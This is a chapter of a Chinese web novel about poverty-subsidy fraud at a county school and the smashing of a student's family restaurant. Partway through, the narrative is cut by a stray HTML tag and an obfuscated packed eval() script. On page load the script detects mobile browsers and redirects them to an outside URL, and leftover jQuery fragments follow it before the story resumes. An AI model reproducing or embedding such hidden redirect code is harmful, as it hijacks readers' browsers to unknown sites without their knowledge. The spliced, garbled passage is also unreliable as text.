2月25日,早上八点半。
经过漫长的寒假,浥鸣县第二中学校终于迎来了新学期的开学典礼。
随着冷空气的逐渐消退,气温已经有了明显回暖的迹象。
操场四周几棵粗壮的大树已经结出了一些嫩绿的细芽,虽然早上的轻风依然带着几分料峭的微寒,但操场上身穿校服密密麻麻的学生们,却用压抑不住的交头接耳声,将这股属于青春的鲜活与躁动彻底点燃。
“你们作业做完了吗……”
“那肯定,昨晚赶了个通宵……”
高一3班的方阵里,同学们交头接耳,一个寒假没见,所有人聊得不亦乐乎。
忽然,主席台上喇叭里传出一声刺耳的锐鸣,压下了全场的嗡嗡声。
“安静!各班保持纪律。”
教导主任威严的声音响彻操场,随后,她将话筒交给了身旁的校长,便站去了主席台一旁的楼梯下。
校长清了清嗓子,为新学期致辞。
充满鼓励的开学致辞让人听了有一股子干劲儿,学生们在台下不住地鼓掌,操场上时不时便爆发出潮水一般的掌声。
然而,校长在结尾处,却突然话锋一转,严厉地提起了另一件事:
“在今天的开学典礼结束前,我要通报一件特别恶劣的违纪事件!经学校核实,高一4班的陈蓉萱同学,在上一个学期的贫困补助申请中,存在严重的造假行为。”
操场上,各个班级的方阵里,几乎同时掀起了一阵不可遏制的哗然。
校长沉着脸,抬手敲了敲麦克风,继续通报道:
“学校决定,对陈蓉萱同学的错误行为进行全校通报批评,并给予其记过处分!希望全体同学引以为戒,不要让物质上的贪婪腐蚀了你们诚实的品格。”
汤振站在方阵的边缘,双手插在校服口袋里,冷眼听完了校长的这则通报。
然而,就在汤振百无聊赖地将目光随意扫向操场另一边时,他的视线突然被吸引住——
只见一个身穿黑色夹克的老师,火急火燎地跑进高三2班的队伍,或许是班主任,他径直穿过人群,跑到伍泓面前,急切地说了些话。
汤振定睛看去。
虽隔着大半个操场,但还是能看清伍泓在听完那老师说的话后,就震惊得无以复加。
紧接着,一向注重仪态和规矩的伍泓,竟然连请假的手续都顾不上办,直接跌跌撞撞地冲出方阵,在那老师的陪同下,不顾一切地朝着学校大门的方向狂奔而去。
汤振微微眯起眼睛,看着伍泓略显狼狈的背影消失在校门拐角,心底涌起一股强烈的疑惑。
校长在主席台上宣布道:“好了,这学期的开学典礼到此结束。希望大家再接再厉,希望初三年级和高三年级,都能在中考和高考拿到满意的成绩!”
又一阵掌声在操场响起,初三和高三的班级队伍忍不住开始齐声欢呼。
教导主任走向校长,接过手里的话筒,“大家解散,请班主任带领各班有序回到教室。”
开学典礼正式宣告结束,操场上,各班方阵开始有序朝教学楼涌去。
汤振没有跟着于浩宁一起回去,反而灵巧地横穿过人群,快速冲向了正在解散的高三2班,一眼就锁定了正在往回走的申雅丽。
“申雅丽,”汤振从侧面切入,自然地和她并排走在一起,在喧闹的人声中压低声音问:“你知不知道伍泓怎么了?就刚才,开学典礼快要结束的时候,他怎么突然离开学校,他要去哪儿呀?”
申雅丽转过头,见是汤振,原本有些紧绷的脸色稍微缓和了一些。
拢了拢耳边的碎发,申雅丽的语气里带着一丝同情:“我刚才站得离他不远,听见班主任说,好像是他家里开的那家饭馆,今天早上突然被一群人砸了,现在店里还一片狼藉呢。班主任就让他赶紧回去,查看一下情况。”
汤振脑海中努力想要将这件事和之前的作弊答题卡联系起来,但似乎又找不出什么相关性。
心里这样思索着,汤振同时和申雅丽朝教学楼的方向走去。
路过教学楼一楼前那面巨大的公告栏时,汤振忍不住朝上面的贫困补助发放名单看去。
那上面张贴的还是上学期的贫困补助发放名单,汤振的目光在密密麻麻的名单上扫过,但在看到高三年级那一栏时,他的脚步便轻微地顿了一下。
汤振在名单上找了两遍,也没有找到伍泓的名字。
“申雅丽,”汤振叫住了申雅丽,脚步停在公告栏前,指了指玻璃橱窗里的那张名单,打探道:“这上面没有伍泓的名字,你知不知道伍泓家里的情况怎么样?”
“好像有些困难,”申雅丽点了点头,一边想一边说道:“伍泓就住在他家开的饭馆里面,饭馆的位置也很偏,他母亲负责经营,他父亲……好像在工地打工。”
申雅丽说到这里,突然转过头,用一种奇怪的眼神看着汤振。
“伍泓的这些情况,你不是应该很清楚吗,”申雅丽继续道:“咱们读高一的时候,当了整整一年的同学呢。”
汤振心里一惊:百密一疏!光顾着问这问那,又忘了自己身份这茬,看来放了一个寒假,警惕心也跟着放松了。
汤振自然而然地伸手揉了揉太阳穴,脸上适时地浮现出一抹痛苦与迷茫交织的神色。
“哦,这个……不是告诉过你了嘛,我有点失忆的症状,嘿嘿。”
汤振满脸堆笑地回应,继续用一种带着几分自嘲和无奈的语气说道:“我失踪前不久的事情,尤其是高一时候发生的事情,有点记不太清了。”
这个理由,对于汤振而言,堪称完美,总能在一些关键时刻派上用场。
汤振顺势将话题不动声色地拉回了正轨:“既然伍泓的家庭条件完全符合贫困补助的申请要求,那为什么这上面没有他的名字呢?”
申雅丽顺势看向公告栏,缓缓摇头道:“可能是因为……伍泓这个人平时有点爱面子,不想让别人知道这些隐私。我猜还有个原因,可能是因为他每学期都能拿到优秀学生奖学金,所以他不好意思再去申请贫困补助的名额吧。”
汤振看向那张名单,脸色有些不悦,说道:“奖学金是奖学金,贫困补助是贫困补助,这两者根本就不能混为一谈,更何况领取贫困补助怎么会是一件丢人的事情呢?这种想法也太错误了吧。如果连基本的生存和学习资源都无法保障,那这种虚无缥缈的面子也毫无意义。”
申雅丽点了点头,“是,周围的同学也不应该用异样的眼光去嘲笑那些领取补助的人,更何况伍泓家靠自己开饭店,凭自己的劳动吃饭,我觉得是一件很光荣的事情。”
汤振点点头,便和申雅丽继续朝前面走去。
申雅丽低头看了一眼手表,指了指前面的楼梯,急切道:“哎呀,快上课了,那我先从那边上去了,你也快回教室吧。这个时间点,估计伍泓也已经到家了,不知道他家的饭馆情况到底怎么样了。”
“只能到时候打听一下了,”汤振又换上温和的笑容,笑道:“对了,我还没当面恭喜你拿了市级比赛第一名呢,恭喜你啊!”
申雅丽笑了笑,回过头朝前面的楼梯口跑了过去。
看着申雅丽远去的背影,汤振脸上的笑容又一点点收敛起来,他转过头,看向那条通往校门口的林荫大道,初春的阳光温柔地洒在水泥地上,一切都是生机盎然的模样。
汤振没再多想,头也不回地踏上了楼梯。
上午九点钟。
老城区内,一条狭窄破败的街道上,伍泓连校服外套的拉链都来不及拉,便满头大汗地冲到了街头那块挂着“伍记快餐”招牌的店铺前。
然而,眼前的景象让伍泓双腿猛地一颤抖。
那块原本就有些发黄的招牌,现在也已经被人用钝器暴力劈成了两截,无力地垂挂在门头上,像是马上要掉落一般。
门口,店铺的门也被拆卸了下来,几根钢筋歪歪扭扭地躺在地上。
另一边,十多个红色塑料板凳和折叠桌被掀翻在地,几盆还没来得及端上桌的卤汤和面条泼洒得到处都是。
周围弥漫着刺鼻的红油味,混杂着洗洁精的气息在空气中发酵,现场可谓是一片狼藉。
一男一女两名警察正站在店外,皱着眉头拍照取证,又询问着周围探头探脑的街坊邻居。
“妈!”
伍泓嗓音发颤地喊了一声,跨过满地的碎渣,在地上找寻着落脚点,终于满头大汗地进了店里。
木质收银台后方,伍泓的母亲正坐在凳子上,双手沾满了灰尘和红油,正试图把一个摔成两半的铁皮箱拼凑起来。
听到伍泓的喊声,母亲抬起布满泪痕的脸。
伍泓走近母亲,母亲却没有像往常一样迎上去,反而用一种陌生和怀疑的目光盯着他。
“你还知道回来,”母亲的声音嘶哑得变了调,指着满地的狼藉,胸口剧烈地起伏着,“伍泓,我平时是怎么教你的?你跟我说实话,你最近是不是在外面惹了什么大祸!”
伍泓的呼吸似乎骤然停滞了一下,往后退了半步,眼神闪烁着回应道:“妈,你胡说什么啊?放寒假前,我一直在学校里上课,放寒假后,我又努力做家教,我能惹什么祸!”
“你撒谎,”母亲将手里的半个铁皮箱砸在地上,质问道:“那为什么刚才来打砸的那群人跟我说,这次把店砸了,就当是替你还了欠他们的人情?”
伍泓的脸上失去了血色,双手在校服袖子里攥成了拳头,脸色痛苦地回答道:“我没欠什么人情呀!”
“是吗,”母亲向伍泓逼近了半步,眼泪顺着眼角低落下来,嘴里念叨道:“那群人手里拎着钢管,指着我的鼻子骂,说你让他们手底下的十个小弟去帮你处理麻烦,结果害得十个人都被警察一锅端了,还被处罚拘留两个月,到现在人都还没放出来呢。”
伍泓大喘着气,额头上的汗液顺着他的鬓角滚落下来,他咬紧牙关说道:“妈,我真的没有做那样的事!”
伍泓拔高了音量,用一种笃定又愤怒的语气大声反驳:“妈,那群人肯定是认错人了。我一个高中生,上哪去认识十个混混,这简直是无稽之谈!”
“你说的都是真的?”母亲狐疑地盯着伍泓,但眼神里依然充满着不确定的神色。
这时,在门外勘察完现场的警察拿着记录本走了进来。
“请二位安静一下,”其中一名警察看着这对母子,有些无奈地说道:“这位阿姨,您这店确实被砸得太彻底了。刚才我们问了一圈,当时在店里吃早饭的顾客全被吓跑了。你再仔细想想,能不能多给警方提供一些具体的线索?比如,那几个人长什么样,身材有什么特征……”
母亲无助的抹着眼泪,泣声道:“我,我真的说不出来啊,警察同志。那三个人一冲进来就开始砸,个个都戴着口罩和墨镜,手里拿着棍子。前后不到三分钟,砸完就骑着摩托跑了,什么长相啊、车牌号啊,我都没看清。”
听到这里,伍泓脸上再度掀起一阵暴躁与烦闷。
“妈,我之前不是跟你说过吗,”伍泓指着空荡荡的店门上方,冲着母亲抱怨道:“我让你买个监控摄像头安在店里,你偏不听。要是刚才有监控,现在至于什么线索也没有吗?”
母亲听完伍泓的话,瞬间红了眼,声嘶力竭道:“买什么监控摄像头,你以为我们这店每天能挣多少?那些钱,都是留着给你上大学用的!”
伍泓摇了摇头,将视线看向别处,“那现在呢,这损失的,不也是钱吗?”
母亲无奈地闭上双眼,无助道:“哎哟,我们家这个店,平时大多只有街坊邻居来吃饭,谁能想到会被一群混混打砸啊?”
伍泓张了张嘴,正要反驳,目光又落在母亲布满老茧和污渍的手上,一时忘了开口。
母亲又走上前,用双手握住伍泓的胳膊,带着哭腔说道:“小泓,你老实告诉妈妈,你真的没在外面惹是生非吗?今年六月你就要高考了,可千万别让那些不三不四的人毁了你的前途呀!”
看着母亲紧握的双手,伍泓深吸了一口气,挺直了腰板,眼神平静了几分,“妈,你放心,我每学期都拿优秀学生奖学金,我可是全年级第一呢,平时连休息时间我都在刷题,我怎么可能去结交街头的混混呢?”
此话一出,仿佛有什么魔力,母亲的手缓缓松开,目光看向伍泓那身干净的校服,眼底的怀疑渐渐褪去。
母亲立刻转过身,朝警察说道:“对,对,我儿子是尖子生!警察同志,那群人一定是砸错店了,或者是故意找茬。小泓每天只知道读书,是绝对不会去招惹那些人的。你们可一定要查清这件事,让坏人受到惩罚啊!”
旁边负责记录的警察揉了揉眉心,合上笔记本,说道:“行了,阿姨,我们把情况记录下来了。你们先收拾一下店面吧,有进展我们会通知你们的,最近请多注意安全。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575490|205002||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
母亲还想说什么,但两名警察敬了个礼,转身离开了。
狭窄破败的店铺里,又只剩了母子二人。
马路上,一辆辆汽车缓缓驶过,偶尔传来几声鸣笛。
终于,被劈成两半的招牌再也挂不稳,“咚”一声,掉落在地上。
母亲呆滞地转过身,嘴里念着“砸错了,砸错了”,又蹲下身去,将地上的碎片慢慢捡起来。
伍泓静静地站在原地,店里的灯光照在他被汗水浸透的后背上。
天空从蓝色逐渐变成橙红,气温也凉了几分。
不知不觉,时间已来到下午。
在过去的几个小时内,汤振老是在思考有关贫困补助的事情。
下午五点半,夕阳的余晖在教学楼的外墙瓷砖上洒下一片赤金。
下午第四节课结束的铃声刚敲响,整个校园复又充满了活力,高中生们陆陆续续走出教学楼,闲聊着朝着食堂的方向狂奔,初中部的学生则开心地走出校门,还有几个手里拿着零食,吃得津津有味。
汤振没有顺着大流去食堂打饭,逆着喧闹的人潮,步履平稳地走到了教导主任的办公室门前,整理了一下思绪,抬手叩响了门。
“砰砰砰。”
“请进——”
门内传来教导主任略显疲惫的声音。
汤振轻缓地推门而入。
教导主任正戴眼镜,眉头紧锁地翻看着各种文件资料,手边放着一个还冒着热气的铝制饭盒,里面的饭菜还纹丝未动。
汤振的动作瞬间变得小心翼翼,生怕打扰了办公桌前的教导主任。
“于浩磊,有什么事吗,”教导主任抬起头,脸色有些意外,问道:“不赶着去吃饭?再过一会儿,食堂只剩素菜了。”
汤振笑了笑,“呀,主任,说到‘素菜’,我正好想跟您沟通一下。”
汤振一边说,一边走到办公桌前,继续说道:“我是想跟您提一个方法,这个方法能大概率防止有人在申请贫困补助时弄虚作假,而且能减少核实信息的成本。”
教导主任翻看文件的手停了下来,她摘下眼镜,身子微微向后,靠在椅背上,脸上露出了一丝难得的微笑。
“是吗,”教导主任指了指对面的椅子,“坐下来,说说看呢。”
不知是太紧张还是真没听见,汤振并没有坐过去,他站在一旁自顾自说道:“与其看那么多贫困证明,倒不如看看食堂的打卡机。”
汤振的声音恰到好处:“不知道学校食堂饭卡的消费记录,后台监控系统能不能查?最好是能查到每个学生每周在食堂吃了几顿饭,以及每顿花了多少钱。”
教导主任的眼神微微变了变,十指交叉,颔首道:“饭卡记录系统后台确实有这个功能,只要调取数据就能查,很简单。”
汤振眼神明亮了几分,声音也跟着清亮了起来:“那就好办了,主任,只要能查到哪些学生几乎每天都在食堂吃饭,而且每顿饭花的钱都不多,那这些学生,大概率就是真正需要贫困补助的。到时候再结合一些证明资料,就更能避免弄虚作假了。”
教导主任看着汤振,一边思索,一边缓缓点头。
汤振脸上也浮现出笑意,继续道:“不仅如此,我还有个建议,把补助改成秘密发放,不要公布名单。虽然贫穷不是丢脸的事,但学生的隐私如果可以保密,那就更好。”
办公室里陷入了短暂的安静,只有墙上的挂钟“嘀嗒”作响。
教导主任静静地看着汤振,良久,她常年冷着的脸上露出了欣慰的笑意。
“看你平时看着调皮捣蛋的,脑子倒是够灵活,这是个务实的办法,待会儿我会去跟校长讨论一下。”
教导主任站起身,把桌上的文件合拢,“行了,你的建议我采纳了。赶紧去食堂吃晚饭,等着上晚自习吧。”
“谢谢主任。”
汤振点点头,转身离开了办公室,看着远处的落日,眼中又多了一丝满意的神色。
十分钟后,教导主任来到了博学楼。
行至校长办公室外,教导主任轻敲了房门。
“请进。”校长喊道。
教导主任轻推开门,大步走到校长宽大的办公桌前,将刚才汤振所说的那套方案,原原本本给校长复述了一遍。
校长正端着一个紫砂茶杯,听完汇报,他揭开茶盖,吹了吹浮在水面的茶叶,眼神中闪过一丝亮光。
“确实是个好方法,”校长抿了一口茶,说道:“通过生活轨迹的记录来推测真实的家庭情况,既精准,又省去了大量人工核实的成本,可以让技术部去办。”
校长沉思片刻,将茶杯稳稳放在办公桌上,接着道:“不过,想要调取全校的消费数据并建立模型,这个过程实施下来,可能需要半个月左右的时间。要不这样吧,这学期的补助发放时间,咱们就推迟一下,改到3月10日。然后,在3月11日,正式向全校公布这学期的补助发放名单。”
闻言,教导主任的眉头又微微皱了一下。
“校长,”教导主任身子微微前倾,语气中带着商量的意味:“说到名单这事儿……既然可以通过数据精准锁定贫困生,那能不能不公布具体姓名,直接把钱打到他们卡里?很多孩子注重个人的隐私信息,如果公布出来的话,恐怕会……”
校长抿了抿嘴,抬起头,思考着说道:“你说的也有道理,但是……”
说到一半,校长摇了摇头,声音低了几分:“但是可能有点难。”
这时,校长慢慢站了起来,走到办公室另一侧的书架旁边,指了指一排排的财务审计档案,解释道:“如果只是发个奖状,咱们关起门来,怎么样都行。但这是贫困补助,涉及到大量专款资金流向。上级有规定,但凡涉及到钱,就要做到公开透明,接受全校师生的监督。”
教导主任脸上一阵犹豫,但还是低低答道:“是,校长,我明白。”
窗外,太阳已经快要彻底沉入地平线,浥鸣县的天空逐渐被一层浓重的灰蓝色笼罩。
校长没有再说话,教导主任亦默默站在原地。
“那行吧,如果没什么事了,你就先去忙。”校长轻声说道。
教导主任站在原地,目光透过办公室明亮的落地窗,眼神中既有无奈,也有释怀。
窗外,天空渐渐染上墨色,校园里,人影绰绰。
落地窗的玻璃上,倒映出教导主任转身离开办公室的背影。